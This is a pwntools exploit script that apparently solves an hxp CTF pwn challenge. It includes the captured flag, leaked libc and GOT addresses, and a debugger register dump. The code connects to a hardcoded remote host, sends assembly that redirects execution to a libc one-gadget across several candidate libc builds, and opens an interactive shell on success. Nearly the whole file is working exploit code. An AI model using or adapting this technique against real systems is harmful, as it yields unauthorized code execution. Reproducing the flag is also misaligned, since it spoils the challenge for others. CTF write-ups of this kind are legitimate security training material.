#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

"""
hxp{w3nn_1ch_6r055_b1n_5p13l3_1ch_n1ch7_m3hr_1m_54ndk4573n}

leaked libc:

0x7f998b86d600 - _IO_2_1_stdout_
0x7f998b86c8c0 - _IO_2_1_stdin_
0x7f998b86d520 - _IO_2_1_stderr_

0x7f998b4f31c0 - 0x201FD8: ! __libc_start_main
0x7f998b893c10 - 0x202018: ! seccomp_init
0x55d3bd1498f6 - 0x202020:   exit
0x7f998b894190 - 0x202028: ! seccomp_rule_add
0x55d3bd149916 - 0x202030:   puts
0x7f998b5c8970 - 0x202038: ! clock_gettime
0x7f998b893e70 - 0x202040: ! seccomp_load
0x7f998b542a90 - 0x202048: ! setbuf
0x55d3bd149956 - 0x202050:   printf
0x7f998b58b140 - 0x202058: ! alarm


[────────────────────────────────────────────────────────────────REGISTERS─────────────────────────────────────────────────────────────────]
 RAX  0x7ffff7dd4520 (_IO_2_1_stderr_) ◂— xchg   dword ptr [rax], esp /* 0xfbad2087 */
 RBX  0x0
 RCX  0xb40
 RDX  0x7ffff7dd5750 (_IO_stdfile_2_lock) ◂— 0
*RDI  0xa
 RSI  0x0
 R8   0x7ffff7dd5750 (_IO_stdfile_2_lock) ◂— 0
 R9   0x7ffff7fc3700 ◂— add    byte ptr [rdi], dh /* 0x7ffff7fc3700 */
 R10  0x838
 R11  0x7ffff7aabac0 (setbuf) ◂— mov    edx, 0x2000
 R12  0x555555554660 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe1e0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe100 —▸ 0x5555555547e0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe100 —▸ 0x5555555547e0 (__libc_csu_init) ◂— push   r15
*RIP  0x5555555547af (main+69) ◂— call   0x5555555547cc

"""

context.arch = 'amd64'

def connect():
    if args['REMOTE']:
        return remote('35.198.105.104', 26739)
    else:
        return process('./wrapper.loc.py')

def exe(code):
    code = ''.join(c for c in code if c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%.,;:()$_- ')
    info("len: %d", len(code))
    if len(code) > 80:
        warning("code too long")

    r = connect()
    r.sendlineafter('x86-64> ', code)
    out = r.recvrepeat(1)

    if r.connected('recv'):
        info("-- GOT SHELL --")
        r.interactive()
    r.close()

    info("recv len: 0x%x", len(out))
    time = re.findall(r'Time: \d+.\d{6} s\n$', out)
    if time:
        time = time[0]
        out = out[:-len(time)]
        return out, time

    return out, ''

if __name__ == '__main__':

    if args['REMOTE']:
        libcs = [
            ('remote_libc/libc6_2.24-3ubuntu1_amd64.so', 0x455aa),
            ('remote_libc/libc6_2.24-3ubuntu2_amd64.so', 0x455aa),
            ('remote_libc/libc6_2.24-9ubuntu2_amd64.so', 0x4557a),
            ('remote_libc/libc6-amd64_2.24-3ubuntu1_i386.so', 0x3f3ea),
            ('remote_libc/libc6-amd64_2.24-3ubuntu2_i386.so', 0x3f3ea),
            ('remote_libc/libc6-amd64_2.24-9ubuntu2_i386.so', 0x3f3da)]
    else:
        libcs = [('/lib/x86_64-linux-gnu/libc.so.6', 0x3f35a)]

    for path, magic in libcs:
        e = ELF(path)
        offset = magic - e.symbols['setbuf']
        info("libc: %s, offset: 0x%x" % (path, offset))

        info("%s\n%s" % exe('''
.global alarm;
alarm:
add ${},%r11;
jmp %r11'''.format(offset)))
